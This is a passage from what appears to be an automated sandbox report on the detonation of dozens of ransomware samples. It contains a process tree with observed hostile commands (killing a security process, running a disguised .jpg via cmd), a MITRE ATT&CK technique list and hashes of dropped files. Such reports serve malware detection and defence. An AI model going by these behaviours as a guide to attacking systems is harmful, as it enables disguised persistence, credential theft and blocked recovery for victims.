          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\LSASS.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\LSASS.EXE"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:5404
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\SMSS.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\SMSS.EXE"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:6200
          • C:\Windows\xk.exe
            C:\Windows\xk.exe
            4⤵
            • Executes dropped EXE
            PID:5220
          • C:\Windows\SysWOW64\IExplorer.exe
            C:\Windows\system32\IExplorer.exe
            4⤵
            • Executes dropped EXE
            PID:1332
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\WINLOGON.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\WINLOGON.EXE"
            4⤵
            • Executes dropped EXE
            PID:6368
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\CSRSS.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\CSRSS.EXE"
            4⤵
            • Executes dropped EXE
            PID:5400
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\SERVICES.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\SERVICES.EXE"
            4⤵
            • Executes dropped EXE
            PID:5252
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\LSASS.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\LSASS.EXE"
            4⤵
            • Executes dropped EXE
            PID:6396
          • C:\Users\Admin\Local Settings\Application Data\WINDOWS\SMSS.EXE
            "C:\Users\Admin\Local Settings\Application Data\WINDOWS\SMSS.EXE"
            4⤵
            • Executes dropped EXE
            PID:6064
        • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Cryptor.eet-d2464dd0508e2b8632fe91c5c0447e963026e4c722f078d93cdc97a3ed7c6c51.exe
          Trojan-Ransom.Win32.Cryptor.eet-d2464dd0508e2b8632fe91c5c0447e963026e4c722f078d93cdc97a3ed7c6c51.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1840
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1840 -s 408
            4⤵
            • Program crash
            PID:4936
        • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Foreign.lhmm-247768db6711ac63f7fae5e9731c977d3a2a1b07878394b79640d8d86d94b960.exe
          Trojan-Ransom.Win32.Foreign.lhmm-247768db6711ac63f7fae5e9731c977d3a2a1b07878394b79640d8d86d94b960.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2272
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /im Windowsecurity.exe /f
            4⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1680
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c C:\Users\Admin\AppData\PI-2.jpg
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2092
        • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Gen.abhi-9e3ae46b36c519237def9e164f6261c2987a5385a96048efc8f7868a74154466.exe
          Trojan-Ransom.Win32.Gen.abhi-9e3ae46b36c519237def9e164f6261c2987a5385a96048efc8f7868a74154466.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3160
          • C:\Users\Admin\AppData\Roaming\MediaFoundation.exe
            "C:\Users\Admin\AppData\Roaming\MediaFoundation.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:5680
        • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.GenericCryptor.czo-44be0c9b9d42340cd693c9ed14888d44b967ea5c30c8d716c45efac5a4483bc4.exe
          Trojan-Ransom.Win32.GenericCryptor.czo-44be0c9b9d42340cd693c9ed14888d44b967ea5c30c8d716c45efac5a4483bc4.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:6012
          • C:\Users\Admin\AppData\Local\Temp\huter.exe
            "C:\Users\Admin\AppData\Local\Temp\huter.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:6412
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sanfdr.bat" "
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1392
        • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Wanna.amap-5dddfbb252515674a8ae287a8e16dc3122309e91f6f4b5a3e4c6c5b14166ebf9.exe
          Trojan-Ransom.Win32.Wanna.amap-5dddfbb252515674a8ae287a8e16dc3122309e91f6f4b5a3e4c6c5b14166ebf9.exe
          3⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:6236
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3772 -ip 3772
      1⤵
        PID:2304
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 1840 -ip 1840
        1⤵
          PID:440
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 540 -ip 540
          1⤵
            PID:4344
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5592
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 4312 -ip 4312
            1⤵
              PID:5760
            • C:\Windows\system32\wbengine.exe
              "C:\Windows\system32\wbengine.exe"
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:6924
            • C:\Windows\System32\vdsldr.exe
              C:\Windows\System32\vdsldr.exe -Embedding
              1⤵
                PID:7044
              • C:\Windows\System32\vds.exe
                C:\Windows\System32\vds.exe
                1⤵
                • Checks SCSI registry key(s)
                PID:5504
              • C:\Windows\System32\rundll32.exe
                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                1⤵
                  PID:5132
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost
                  1⤵
                    PID:5388
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
                    1⤵
                      PID:6428
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s FDResPub
                      1⤵
                        PID:3960
                      • C:\Windows\system32\sihost.exe
                        sihost.exe
                        1⤵
                          PID:2344
                        • C:\Windows\system32\sihost.exe
                          sihost.exe
                          1⤵
                            PID:6464
                          • C:\Windows\system32\sihost.exe
                            sihost.exe
                            1⤵
                              PID:4060
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              1⤵
                                PID:6188
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                1⤵
                                  PID:3676
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  1⤵
                                    PID:6944
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                    1⤵
                                      PID:4464
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                      1⤵
                                        PID:5168

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Reconnaissance

                                      Resource Development

                                      Initial Access

                                      Execution

                                      Command and Scripting Interpreter

                                      2
                                      T1059

                                      PowerShell

                                      1
                                      T1059.001

                                      System Services

                                      1
                                      T1569

                                      Service Execution

                                      1
                                      T1569.002

                                      Windows Management Instrumentation

                                      1
                                      T1047

                                      Persistence

                                      Boot or Logon Autostart Execution

                                      2
                                      T1547

                                      Registry Run Keys / Startup Folder

                                      1
                                      T1547.001

                                      Winlogon Helper DLL

                                      1
                                      T1547.004

                                      Create or Modify System Process

                                      1
                                      T1543

                                      Windows Service

                                      1
                                      T1543.003

                                      Event Triggered Execution

                                      1
                                      T1546

                                      Change Default File Association

                                      1
                                      T1546.001

                                      Privilege Escalation

                                      Boot or Logon Autostart Execution

                                      2
                                      T1547

                                      Registry Run Keys / Startup Folder

                                      1
                                      T1547.001

                                      Winlogon Helper DLL

                                      1
                                      T1547.004

                                      Create or Modify System Process

                                      1
                                      T1543

                                      Windows Service

                                      1
                                      T1543.003

                                      Event Triggered Execution

                                      1
                                      T1546

                                      Change Default File Association

                                      1
                                      T1546.001

                                      Defense Evasion

                                      Direct Volume Access

                                      1
                                      T1006

                                      File and Directory Permissions Modification

                                      1
                                      T1222

                                      Hide Artifacts

                                      2
                                      T1564

                                      Hidden Files and Directories

                                      2
                                      T1564.001

                                      Indicator Removal

                                      3
                                      T1070

                                      File Deletion

                                      3
                                      T1070.004

                                      Modify Registry

                                      6
                                      T1112

                                      Credential Access

                                      Credentials from Password Stores

                                      1
                                      T1555

                                      Credentials from Web Browsers

                                      1
                                      T1555.003

                                      Unsecured Credentials

                                      1
                                      T1552

                                      Credentials In Files

                                      1
                                      T1552.001

                                      Discovery

                                      Browser Information Discovery

                                      1
                                      T1217

                                      Network Service Discovery

                                      1
                                      T1046

                                      Network Share Discovery

                                      1
                                      T1135

                                      Peripheral Device Discovery

                                      2
                                      T1120

                                      Query Registry

                                      4
                                      T1012

                                      Remote System Discovery

                                      1
                                      T1018

                                      System Information Discovery

                                      4
                                      T1082

                                      System Location Discovery

                                      1
                                      T1614

                                      System Language Discovery

                                      1
                                      T1614.001

                                      Lateral Movement

                                      Collection

                                      Data from Local System

                                      1
                                      T1005

                                      Command and Control

                                      Exfiltration

                                      Impact

                                      Inhibit System Recovery

                                      5
                                      T1490

                                      Service Stop

                                      1
                                      T1489

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Program Files\dotnet\Restore-My-Files.txt
                                        Filesize

                                        1KB

                                        MD5

                                        524f89eecca9dc38902d3b9e9f58f445

                                        SHA1

                                        4c2beddf7c3eb4c81f38e1c2a0ff82d80bdc1055

                                        SHA256

                                        1482e3fba2b16e4af4390b633da0972ab29ca8b9f28842ed42246c9d20c77eb1

                                        SHA512

                                        c43c3a2e683b5aed7a5aa824f9aa0b69f847e7297df898de97787fc8a25fce70578aaff5c6844263230cdddd759901f3efb4442be9f91664a5f66379f1b63aa7

                                        Download Submit

                                      • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Empty.pif
                                        Filesize

                                        272KB

                                        MD5

                                        5638c3651767b7bb8245754e937074a2

                                        SHA1

                                        acdaba11b1fe0748a57e54ae0ab6073c396f7aaa

                                        SHA256

                                        1d8dd7e85a3c538c8c9e55b6a01cd453aa24983b0f9ee2ee5587d38a66cdeff1

                                        SHA512

                                        e94aafdbade634af8962066479de5fe52ae24a2d11b46d660b1822e6c09b096c6d688aac84641a5be33ce0c0b5a9173a3bca5dece149fc08b6f47c6ec54fd5d4

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                        Filesize

                                        1KB

                                        MD5

                                        67e486b2f148a3fca863728242b6273e

                                        SHA1

                                        452a84c183d7ea5b7c015b597e94af8eef66d44a

                                        SHA256

                                        facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

                                        SHA512

                                        d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                                        Filesize

                                        436B

                                        MD5

                                        971c514f84bba0785f80aa1c23edfd79

                                        SHA1

                                        732acea710a87530c6b08ecdf32a110d254a54c8

                                        SHA256

                                        f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

                                        SHA512

                                        43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                                        Filesize

                                        174B

                                        MD5

                                        9d082d40e98fa9c786143088a4e8907d

                                        SHA1

                                        037fb1e7fe62218b5069aab8a4df5ea6bacb6ec1

                                        SHA256

                                        228f2d94523d6fb4b4e3a522e40f3b714d438a3a4480b5a1f5b8d114df3e553b

                                        SHA512

                                        4fb7bd76726f51e9389a7daa491039d422201a5a8760fb1e0f2cf2063e6dceb50300e5b30c484d370fc93d3db58004267b87f71efad649504b5e73c4d8b348d7

                                        Download Submit

                                      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                                        Filesize

                                        170B

                                        MD5

                                        5265a9b51e0ec52d3a87ee4141abbe28

                                        SHA1

                                        9e80727bf99c0e6f78c1c52e64e2b198c16ec2a1

                                        SHA256

                                        b9d323c31879c6265f68de8de62f2c259a376bc79a5772d7daa9e7ef61c45183

                                        SHA512

                                        3ffe89e4706011d655dee76a042b0cb7c90949b1838207ab3280e72ad384c1db4ee85ca83d52da15a3a43f277b710973b0d3d04135e8fe349f6bf18460be0a28

                                        Download Submit

                                      • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                        Filesize

                                        64KB

                                        MD5

                                        d2fb266b97caff2086bf0fa74eddb6b2

                                        SHA1

                                        2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                        SHA256

                                        b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                        SHA512

                                        c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                        Download Submit

                                      • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                        Filesize

                                        4B

                                        MD5

                                        f49655f856acb8884cc0ace29216f511

                                        SHA1

                                        cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                        SHA256

                                        7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                        SHA512

                                        599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                        Download Submit

                                      • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                        Filesize

                                        944B

                                        MD5

                                        6bd369f7c74a28194c991ed1404da30f

                                        SHA1

                                        0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                        SHA256

                                        878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                        SHA512

                                        8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                        Download Submit

                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gh433e3x.1cv.ps1
                                        Filesize

                                        60B

                                        MD5

                                        d17fe0a3f47be24a6453e9ef58c94641

                                        SHA1

                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                        SHA256

                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                        SHA512

                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                        Download Submit

                                      • C:\Users\Admin\AppData\Local\Temp\huter.exe
                                        Filesize

                                        89KB

                                        MD5

                                        b3be26d272a56c122b3313746499a33e

                                        SHA1

                                        6d5b5d2d2da7b8683d8dffd5e770ba5b7e6c95d7

                                        SHA256

                                        ede4aeb373e2fb96ff63239232d2fbc6c1c4c6b5b1a606f67e8236535bf478da

                                        SHA512

                                        03dccefc6f5ac0386a11d05d848cfaa76dfa495cdaf0b6ab0d34c1333dd389960f93fb700c1638eb385814a7c0462b6a353965bc7e053ac27a411fc30114f91e

                                        Download Submit

                                      • C:\Users\Admin\AppData\Roaming\MediaFoundation.exe
                                        Filesize

                                        833KB

                                        MD5

                                        9ac2d2c1df56dd78d4f8183dc233e686

                                        SHA1

                                        17664b6c0062cd619aeef4f920000500cd8401ac

                                        SHA256

                                        b69ba5515cfd5fc5fb687fde0f8ee2b1385f0a58d86b7b5e91ef5a4763f309d9

                                        SHA512

                                        8d29e3a7c666d4acf8a8e87861529862c6af59c3d233fe60881d9493522806f276fdeb0fbe928ddbc2f3e55dc978a3b410c75113687ce3d32a918b1fcd05c220

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Blocker.gen-404274ad22b7fd6b96f9bc15221b4e51e92baedbb616aa544a684c38fcd69885.exe
                                        Filesize

                                        1.9MB

                                        MD5

                                        6d92d64fbf2708ff6d6419eb6f0a6498

                                        SHA1

                                        296641f6bfe7fb36df350ffe1b8a4f8452ea8317

                                        SHA256

                                        404274ad22b7fd6b96f9bc15221b4e51e92baedbb616aa544a684c38fcd69885

                                        SHA512

                                        04b796f217fca1e770c44e09a2aa18b5e502c05ad729b66fe0d9307325e517971fdc9b8cb7a3d0ec306371a9214d41dcf68178ff76e7b544665913c668f7a238

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Blocker.gen-6d99e19a2bbf1a1e96e7dfcc2e38326e4015e924afa917e1333ffb44ab85ad44.exe
                                        Filesize

                                        114KB

                                        MD5

                                        2b793d5c9272f880bd2ae2e33416c7d6

                                        SHA1

                                        a20419a11498e9b2839d5007c42cf60109d53146

                                        SHA256

                                        6d99e19a2bbf1a1e96e7dfcc2e38326e4015e924afa917e1333ffb44ab85ad44

                                        SHA512

                                        ca480366ccd899a37eff604635b7c096abfe6dd949d471501a3dbe094b29dabdeca90a9dd165a1a4c5c3319b6700b3ae08da8dbd1a9ab2d42f14ac1ce366d62f

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Blocker.gen-fd0e85a143dccc8cee5c7c52ab2dba3a931c368bafbc886d6589d7b725313e48.exe
                                        Filesize

                                        3.4MB

                                        MD5

                                        6704fc0d789f4dba7a654ca7df2b11f4

                                        SHA1

                                        4ea1f3fd59c1f5c6e8ef9eeaecf31a4c92afda74

                                        SHA256

                                        fd0e85a143dccc8cee5c7c52ab2dba3a931c368bafbc886d6589d7b725313e48

                                        SHA512

                                        9dec198b1e90a4b98d157c8fa888daf36bf4c4f4e3011d47af56a4e257c40bc88d29cd8f3436b5f1ee1663421fe3dbaf4334a1affeadeefdd64762216c830a3c

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Encoder.gen-a3a72a6a267ef5b0ca2886ace87fb254b396efeef34b01f4858981140f1a1682.exe
                                        Filesize

                                        122KB

                                        MD5

                                        b4d5fd84ae9a7813ed428517d5773ed7

                                        SHA1

                                        863d7d3a22e17464fa0a56300a2645c88ed930b7

                                        SHA256

                                        a3a72a6a267ef5b0ca2886ace87fb254b396efeef34b01f4858981140f1a1682

                                        SHA512

                                        84dd867735dcc54f84ab6d3bd7f1729ded4ca7563b44b9547689057e057ecbb75e44c17ae0868aff7e56bddc271293d801487d3031b33c19ebea9313025dd24c

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.MSIL.Foreign.gen-a01dc7b3599b680aaf57c8b1d4b1a20575c720bfe04f339748eb0f9194fcfffc.exe
                                        Filesize

                                        9.3MB

                                        MD5

                                        8d62bd2846deb7bb49405e872e9804ed

                                        SHA1

                                        83a147d4ff0f92cf67a2271a7f78895db463330d

                                        SHA256

                                        a01dc7b3599b680aaf57c8b1d4b1a20575c720bfe04f339748eb0f9194fcfffc

                                        SHA512

                                        154a7c1fb25cb4fdf01dd8c862aba564ccddadb8d7334334ebc3ce8383534eca1ed98c8dd5cc799153185d1856ae82955697b919a5488ec9852a6432e1912ab9

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Convagent.gen-581af25d67022dadaf32cf3986bd5a79f4a7f822da606f89e3fd4acc90814163.exe
                                        Filesize

                                        604KB

                                        MD5

                                        0a5b3d2c6105fa66a80a6a700822a42b

                                        SHA1

                                        61c81d0704c32312d746233578508190c22f86f7

                                        SHA256

                                        581af25d67022dadaf32cf3986bd5a79f4a7f822da606f89e3fd4acc90814163

                                        SHA512

                                        907e48498109265d2f1d4760c77dacbeeb053408e088c485258ed5050d0be3339195370fea4df703feeeadab697633aaf841ea3d3fd83b8f62ef83338f6fd001

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.GandCrypt.gen-612278239c759c6f8fa512a6b48887e502f4c989987c574213485b1eb318b545.exe
                                        Filesize

                                        322KB

                                        MD5

                                        5b9d26ae49cc9122da07cd721788098d

                                        SHA1

                                        700e4e5b508fb20d82a387f744bb3adf2981c537

                                        SHA256

                                        612278239c759c6f8fa512a6b48887e502f4c989987c574213485b1eb318b545

                                        SHA512

                                        e972e0e37f032776e46f3b0a9de7965012d7b1bf41553c0cb73756d67ed3402183e42911e2ba5cd408c1c621715b773413c966a8bed9097342e972196343ab64

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Generic-666429fe4ba3e37dd40b17c00c65544e7f6f67746eddcb613a9fc9cc15eb7538.exe
                                        Filesize

                                        58KB

                                        MD5

                                        be3e139ee678b11e436dc6273a7e33e9

                                        SHA1

                                        c0ef67c300e57684657f0a13e5ccd88450adcc96

                                        SHA256

                                        666429fe4ba3e37dd40b17c00c65544e7f6f67746eddcb613a9fc9cc15eb7538

                                        SHA512

                                        43dee9ccfd737733b738207ec850291f23422760577770a2729aa002131037dedd1ef66fc0cc7d4fe3cb46ae379ef66f7de6a77facbcd4f5c7b769ffc9d9814c

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Lockbit.vho-ce9261b9bcbf5be7ec01b8224ac5179b76108fe5d37a6bdc62731392df2b2c30.exe
                                        Filesize

                                        146KB

                                        MD5

                                        10b3fd3c861d5cf657934c89260590ab

                                        SHA1

                                        7f34253a70c74ab3059714ff8de44de89609803c

                                        SHA256

                                        ce9261b9bcbf5be7ec01b8224ac5179b76108fe5d37a6bdc62731392df2b2c30

                                        SHA512

                                        a01f7dde1ddd9e23c5c0d94ef8755eace5493f27dd173f4b3fde38411319c683d05d06cf30fea235c909fb9f3e4f80089bd2249a3f99a637305afd7f849758d9

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\HEUR-Trojan-Ransom.Win32.Stop.gen-f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594.exe
                                        Filesize

                                        874KB

                                        MD5

                                        2e0d1b3698ec45dd59526a5f72aeb6f7

                                        SHA1

                                        abf0bb60c60af61fb03b5f136760b6ff9ac3d48a

                                        SHA256

                                        f9e9303fa01b9f4ec0afa7adc0b0d3fe894fb351e550001cd5fabc71998ee594

                                        SHA512

                                        90fa337309b897e2887f934cc1f1f26c2aa8b6e7e06a39d493490331243776a3dccb671b0aa236583f2ccc8328b289f0fdb252fd0b14686d3541baf42c79979f

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Blocker.kpuo-66b07beba5134219026b83039d15879522dca7f4d9e8b901fd083a045fd08ff0.exe
                                        Filesize

                                        272KB

                                        MD5

                                        c5bf915e6a2dac2d03b3bf43c7e0d774

                                        SHA1

                                        829be27536921de8feb3c7b31a02ffc1ab6557cf

                                        SHA256

                                        66b07beba5134219026b83039d15879522dca7f4d9e8b901fd083a045fd08ff0

                                        SHA512

                                        c15e7a83ad49bcaef6a7668bbd8173a0d82687dd461d25a6810cf7a180fa3478aa723371e9516714f72325591ec30767330ff7cb5688336bd365e77f436d56fa

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Cryptor.eet-d2464dd0508e2b8632fe91c5c0447e963026e4c722f078d93cdc97a3ed7c6c51.exe
                                        Filesize

                                        851KB

                                        MD5

                                        4cd6ac6a04eb5234757e84ebf401caf7

                                        SHA1

                                        5d067a5e54033f84535a768a3a93539143c65b44

                                        SHA256

                                        d2464dd0508e2b8632fe91c5c0447e963026e4c722f078d93cdc97a3ed7c6c51

                                        SHA512

                                        efee3e3fa185340bccb914e967f7d4d419607e3364228e9f4524d1626b9b3f790ea4322cd3789fe59cfd0d0073529b8a2f18804859759469e30e131fedf475ba

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Foreign.lhmm-247768db6711ac63f7fae5e9731c977d3a2a1b07878394b79640d8d86d94b960.exe
                                        Filesize

                                        196KB

                                        MD5

                                        5c1ad0318b0dc5f608b03ed3be1a18b7

                                        SHA1

                                        4b2f8f01b11c64673cb9ab970e157ac23223df4e

                                        SHA256

                                        247768db6711ac63f7fae5e9731c977d3a2a1b07878394b79640d8d86d94b960

                                        SHA512

                                        b2a31dbe5a8612688a9bf4c1650c90498da8cc11c10dff6fa49a9bdade47975f222bdf6b72a9445000d50f60217f6a193fb05ec06e7893af212cc5d7c78771e0

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Foreign.xqx-ad99d1d265eb64a2b40fbc6f4a1118877001ff0724152c8fea243c7a5e833fc5.exe
                                        Filesize

                                        3.2MB

                                        MD5

                                        2b4a41caee2ecd45273778951b602085

                                        SHA1

                                        c74176c0c25e29c385937ed89d81b6728816f17d

                                        SHA256

                                        ad99d1d265eb64a2b40fbc6f4a1118877001ff0724152c8fea243c7a5e833fc5

                                        SHA512

                                        a730014810a71a03a12d32eda4abccc15575c9f1436baf694e77df8c3c7d48a2b5e8b8a88ac95a9d684ad212d8ccd99803e7a97b0ec736bfe14ea89561a6591f

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Gen.abhi-9e3ae46b36c519237def9e164f6261c2987a5385a96048efc8f7868a74154466.exe
                                        Filesize

                                        1.1MB

                                        MD5

                                        52a3eff0de2c6305c3639f1718c94c98

                                        SHA1

                                        affca8d7d8ee7882ce36ae3be6f42b298b07903f

                                        SHA256

                                        9e3ae46b36c519237def9e164f6261c2987a5385a96048efc8f7868a74154466

                                        SHA512

                                        6eadd1fa06ecd08e80304eb15b4f8e9c23261ee006994e216c298d158eeea76fb8d46abeb3c2f95b35ab146c2af39dd51d0b6a0a1d8bf4d85b5ac75561612035

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.GenericCryptor.czo-44be0c9b9d42340cd693c9ed14888d44b967ea5c30c8d716c45efac5a4483bc4.exe
                                        Filesize

                                        89KB

                                        MD5

                                        75edc0a5978219e8f6f7dff68d5425f1

                                        SHA1

                                        9a073f81da7e7c1260fcd4d0c9982822a8162547

                                        SHA256

                                        44be0c9b9d42340cd693c9ed14888d44b967ea5c30c8d716c45efac5a4483bc4

                                        SHA512

                                        6acc26581cd05272231450cb2034c57d088815b654fef12a22c4aba52b0b83fe9e633f6b8d478816d12d87a783a77222594ddf83a7928b15a0d097c4e9e60d1b

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\Trojan-Ransom.Win32.Wanna.amap-5dddfbb252515674a8ae287a8e16dc3122309e91f6f4b5a3e4c6c5b14166ebf9.exe
                                        Filesize

                                        2.0MB

                                        MD5

                                        1e417085ae5bb12cc7cab4708c3a6301

                                        SHA1

                                        ba6f56ecb5a1e73b5f9566079c5936ed70b1f1b3

                                        SHA256

                                        5dddfbb252515674a8ae287a8e16dc3122309e91f6f4b5a3e4c6c5b14166ebf9

                                        SHA512

                                        b95e57d3c4c3ea3e0bf93c155f34ca8f89f20ad421c11a4e4906c7d7fc10e78398548e1ab899f1426202038d1fa58d9d6c04fc94ba3c55f04abb6f3b4c3b4853

                                        Download Submit

                                      • C:\Users\Admin\Desktop\00435\test.exe
                                        Filesize

                                        86KB

                                        MD5

                                        ed07699cfbcfbe8cc883f62bc67d21f1

                                        SHA1

                                        625d25245cb53712fda368a51e0b300e0e773bfa

                                        SHA256

                                        6afa4827ef5030e24ce9bc7887749c3522a164fd9971cb1a99cedc53769201a9

                                        SHA512

                                        1b4f054b4c00f5bf10bdd0a72224fb1b69710126ce80e0657924ba480c9fc148d799a690d6f439e39c8ac3eb236bf1e8cd17636c703bf8fcb4d957d24efd5139

                                        Download Submit

                                      • C:\Users\Admin\Local Settings\Application Data\WINDOWS\CSRSS.EXE
                                        Filesize

                                        272KB

                                        MD5

                                        882e42f52d28a99ddb1938be714d323d

                                        SHA1

